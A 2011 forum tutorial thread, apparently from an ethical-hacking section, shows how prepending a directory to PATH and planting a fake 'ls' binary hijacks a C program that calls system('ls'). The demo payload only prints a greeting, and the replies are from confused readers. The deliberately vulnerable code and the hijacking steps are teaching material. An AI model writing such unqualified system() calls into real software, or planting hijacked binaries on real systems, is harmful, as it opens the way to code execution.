Go4Expert

Go4Expert (http://www.go4expert.com/)
-   Ethical hacking Tips (http://www.go4expert.com/articles/ethical-hacking-tutorials/)
-   -   How to exploit system() call in C (http://www.go4expert.com/articles/exploit-c-t24920/)

lionaneesh 9Feb2011 23:48

How to exploit system() call in C
 
Unix/Linux/Windows systems uses PATH variable to look up the standard bin files of the inbuilt command in the Shell...This PATH variable can be changed and thus we can change the flow of a program using system() call...How? This we'll be seeing in this tutorial..

Method



We'll be using a basic C Program for demonstarting our article..

system.c
Code:

#include<stdio.h>



int main()

{

        system("ls");

        return(0);

}

Compiling

Code:

gcc system.c -o system
Running

Code:

aneesh@aneesh-laptop:~/articles/C$ ./.system

buggyProgram        format          getSrc  stack2    stack.c  system.c  test

buggyProgram.c        format.c  stack  stack2.c  system  system.x  test.c

lets echo the PATH variable and know what it contains

Code:

aneesh@aneesh-laptop:~$ echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

This means that the each command we enter into the shell is searched in the above PATH's..

So lets change it and add our own path at the beginning..

Code:

aneesh@aneesh-laptop:~$ PATH=$HOME/articles:$PATH
We added $HOME/article at the beginning of the path variable...
Now lets add a program named 'ls' in the $HOME/articles directory...

Code:

aneesh@aneesh-laptop:~$ cd $HOME/articles
ls.c
Code:

#include<stdio.h>



int main()

{

        printf("Hello World!!\n");

        return(0);

}

Compiling

Code:

gcc ls.c -o ls
Now that we have a file named 'ls' and the PATH variable Changed. So , now we are ready to exploit the system.c program...

Lets run it now...

Code:

aneesh@aneesh-laptop:~/articles/C$ ./system

Hello World!!

Yupi!!!We did it again...We just exploited the system.c program to change its normal Program Flow..

lionaneesh 12Feb2011 10:55

Re: How to exploit system() call in C
 
Thanks for accepting..
All the viewers please comment..

tirdbe 17Feb2011 00:27

Re: How to exploit system() call in C
 
I am a beginner in this field.
What is a program c.
How can I enter in program c

lionaneesh 17Feb2011 00:59

Re: How to exploit system() call in C
 
Quote:

Originally Posted by tirdbe (Post 79435)
I am a beginner in this field.
What is a program c.
How can I enter in program c

Sorry cant understand your question fully but i am assuming that you wanted to ask...What is C and how to program in C...

C is a Powerful Programming Language...
It was made in late 1970's by Dennis Ritchie and Bell Labs for the Unix systems...
It gained a lot of popularity and till today also is one of the most popular programming language...

Programming in C is a long journey but full of excitement and Interesting memory leaks !! (;););)) ...

For more info Click Here!!

nicolerisse 18Feb2011 19:57

Re: How to exploit system() call in C
 
I donīt understand a single word...

lionaneesh 18Feb2011 21:02

Re: How to exploit system() call in C
 
Quote:

Originally Posted by nicolerisse (Post 79537)
I donīt understand a single word...

Please specify what you don't understand and what you want more in the article...


All times are GMT +5.5. The time now is 07:02.